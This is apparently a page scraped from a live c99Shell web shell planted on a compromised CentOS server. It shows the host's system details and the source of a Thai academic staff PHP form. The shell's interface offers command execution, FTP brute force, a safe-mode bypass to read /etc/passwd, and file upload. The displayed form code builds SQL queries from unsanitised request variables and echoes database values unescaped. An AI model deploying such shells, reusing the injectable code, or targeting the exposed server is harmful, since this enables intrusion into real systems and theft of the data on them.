!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/edu_depart/   drwxr-xr-x
Free 52.62 GB of 127.8 GB (41.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmEditProduct.php (10.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();
 if (
session_is_registered("valid_user")&&session_is_registered("password"))
 {
 
$Username $valid_user;
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
include(
"../include/Function.php");
ConnectDB();
$sql ="SELECT * FROM personal_tb WHERE Teacher_code='$Teacher_code'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);
   
$sql2 ="SELECT * FROM edu_product_tb WHERE Teacher_code='$Teacher_code' AND Prod_code='$Prod_code'";
  
$res mysql_query($sql2) or die("Cannot Select").mysql_error();
  
$row mysql_fetch_array($res);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<table width="834" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="834" ><br> 
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Edu_Menu.php">หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="SearchRes.php">ค้นหางานวิจัย</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /> เพิ่มข้อมูลงานวิจัย</font></legend>
            <label>
  <form id="form1" name="form1" method="post" action="EditProduct.php">
    <table width="89%" border="0" align="center" cellpadding="0" cellspacing="1">
      <tr bgcolor="#D5F0F9">
        <td colspan="3"><div align="center"><font color="#000000" size="4" face="Tahoma"><strong><font color="#FF0000">แก้ไข</font> </strong></font><font color="#003366" size="4" face="Tahoma"><strong>ตำรา 
          และ ผลงานทางวิชาการ </strong></font></div></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td><div align="center"><font color="#000000" size="2" face="Tahoma">ชื่อ-นามสกุลอาจารย์</font></div></td>
        <td bordercolor="#FEEDF9">&nbsp;</td>
        <td bordercolor="#F2DEFE"><font color="#003366" size="2" face="Tahoma"><strong><? echo $rs[First_name] ;?> <? echo $rs[Teacher_name] ;?>&nbsp;<? echo $rs[Teacher_lastname] ;?> </strong></font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td width="28%"><div align="center"><font size="2" face="Tahoma">ชื่อผลงาน</font></div></td>
        <td width="1%" bordercolor="#FEEDF9">&nbsp;</td>
        <td width="71%" bordercolor="#F2DEFE"><input name="Product_name" type="text" class="input1" id="Product_name" value="<? echo $row[Product_name]?>" size="50"></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td height="52"><div align="center"><font size="2" face="Tahoma">ประเภทผลงาน</font></div></td>
        <td bordercolor="#FEEDF9">&nbsp;</td>
        <td bordercolor="#F2DEFE"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1">
            <tr>
              <td width="50%"><font size="2" face="Tahoma">
                <input type="radio" name="Product_type" <?php if (!(strcmp("$row[Product_type]","เอกสารประกอบการสอน"))) {echo "checked";} ?> value="เอกสารประกอบการสอน" />
                เอกสารประกอบการสอน</font></td>
              <td width="50%"><font size="2" face="Tahoma">
                <input type="radio" name="Product_type" <?php if (!(strcmp("$row[Product_type]","เอกสารประกอบคำบรรยาย"))) {echo "checked";} ?> value="เอกสารประกอบคำบรรยาย" />
                เอกสารประกอบคำบรรยาย </font></td>
            </tr>
            <tr>
              <td><font size="2" face="Tahoma">
                <input type="radio" name="Product_type" <?php if (!(strcmp("$row[Product_type]","สื่อการเรียนการสอน"))) {echo "checked";} ?> value="สื่อการเรียนการสอน" />
                สื่อการเรียนการสอน </font></td>
              <td><font size="2" face="Tahoma">
                <input type="radio" name="Product_type" <?php if (!(strcmp("$row[Product_type]","การผลิตตำรา"))) {echo "checked";} ?> value="การผลิตตำรา" />
                การผลิตตำรา </font></td>
            </tr>
            <tr>
              <td><font size="2" face="Tahoma">
                <input type="radio" name="Product_type"<?php if (!(strcmp("$row[Product_type]","สิ่งประดิษฐ์"))) {echo "checked";} ?> value="สิ่งประดิษฐ์" />
                สิ่งประดิษฐ์</font></td>
              <td><font size="2" face="Tahoma">
                <input type="radio" name="Product_type" <?php if (!(strcmp("$row[Product_type]","เอกสารวิชาการ"))) {echo "checked";} ?> value="เอกสารวิชาการ" />
                เอกสารวิชาการ </font></td>
            </tr>
        </table></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td><div align="center"><font color="#000000" size="2" face="Tahoma"> ปีการศึกษา</font></div></td>
        <td bordercolor="#FEEDF9">&nbsp;</td>
        <td bordercolor="#F2DEFE"><input name="Term" type="text" id="Term" value="<? echo $row[Term]?>" size="10" /></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td><div align="center"><font size="2" face="Tahoma">วัน/เดือน/ปี เริ่มผลิต</font></div></td>
        <td bordercolor="#FEEDF9"><font size="2" face="Tahoma">&nbsp;</font></td>
        <td bordercolor="#F2DEFE"><div align="left"><font color="#000000" size="2" face="Tahoma">วันที่
          <select name="mDate" id="mDate" class="select" >
                    <?php
           $Date_start 
$row[Date_start];
           
$yearthai explode("-",$Date_start);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
                  </select>
          เดือน
          <select name="mMonth" id="select2" class="select" >
            <?php
          $Date_start 
$row[Date_start];
           
$yearthai explode("-",$Date_start);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
          </select>
          ปี พ.ศ.
          <input name="mYear" type="text" class="input1" id="mYear" value="<? echo $mYear ?>" size="6" />
            </font><font size="2" face="Tahoma">&nbsp;แล้วเสร็จ </font><font color="#000000" size="2" face="Tahoma">วันที่
              <select name="mDate2" id="select4" class="select" >
              <?php
           $Date_finish 
$row[Date_finish];
           
$yearthai explode("-",$Date_finish);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
                 
//    getDay1to31();
           
?>
            </select>
              เดือน
              <select name="mMonth2" id="select5" class="select" >
                <?php
          $Date_start 
$row[Date_start];
           
$yearthai explode("-",$Date_start);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
              </select>
              ปี พ.ศ.
              <input name="mYear2" type="text" class="input1" id="mYear3" value="<? echo $mYear ?>" size="6" />
        </font></div></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td height="26"><div align="center"><font size="2" face="Tahoma">การเผยแพร่</font></div></td>
        <td bordercolor="#FEEDF9">&nbsp;</td>
        <td bordercolor="#F2DEFE"><input name="Propagate " type="text" class="input1" id="Propagate " value="<? echo $row[Propagate?>" size="50" /></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td height="24"><div align="center"><font size="2" face="Tahoma">แหล่งงบประมาณ </font> </div></td>
        <td bordercolor="#FEEDF9">&nbsp;</td>
        <td bordercolor="#F2DEFE"><font color="#000000" size="2" face="Tahoma">
          <input name="Fund_resource" type="text"  class="input1" id="Fund_resource" value="<? echo $row[Fund_resource?>" size="30">
          </font><font size="2" face="Tahoma">งบประมาณ</font><font color="#000000" size="2" face="Tahoma">
          <input name="Fund" type="text"  class="input1" id="Fund" value="<? echo $row[Fund?>">
        </font></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td height="58"><div align="center"><font size="2" face="Tahoma">ประโยชน์ของผลงาน</font></div></td>
        <td bordercolor="#FEEDF9">&nbsp;</td>
        <td bordercolor="#F2DEFE"><textarea name="Benefit" cols="60" rows="5" id="Benefit" class="input1"><? echo $row[Benefit?></textarea></td>
      </tr>
      <tr bgcolor="#EEEEEE">
        <td><div align="center"><font size="2" face="Tahoma">การนำไปใช้อ้างอิง่</font></div></td>
        <td bordercolor="#FEEDF9">&nbsp;</td>
        <td bordercolor="#F2DEFE"><textarea name="Use_ref" cols="60" rows="5" class="input1" id="Use_ref"><? echo $row[Use_ref?></textarea></td>
      </tr>
      <tr bgcolor="#D5F0F9">
        <td colspan="3"><div align="center">
            <input type="hidden" name="Prod_code" value="<? echo $row[Prod_code]?>" />
            <input type="hidden" name="Teacher_code" value="<? echo $row[Teacher_code]?>" />
            <input type="submit" name="Submit" value="    บันทึก    " class="button" />
        </div></td>
      </tr>
    </table>
  </form>
          </fieldset>
        <br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0078 ]--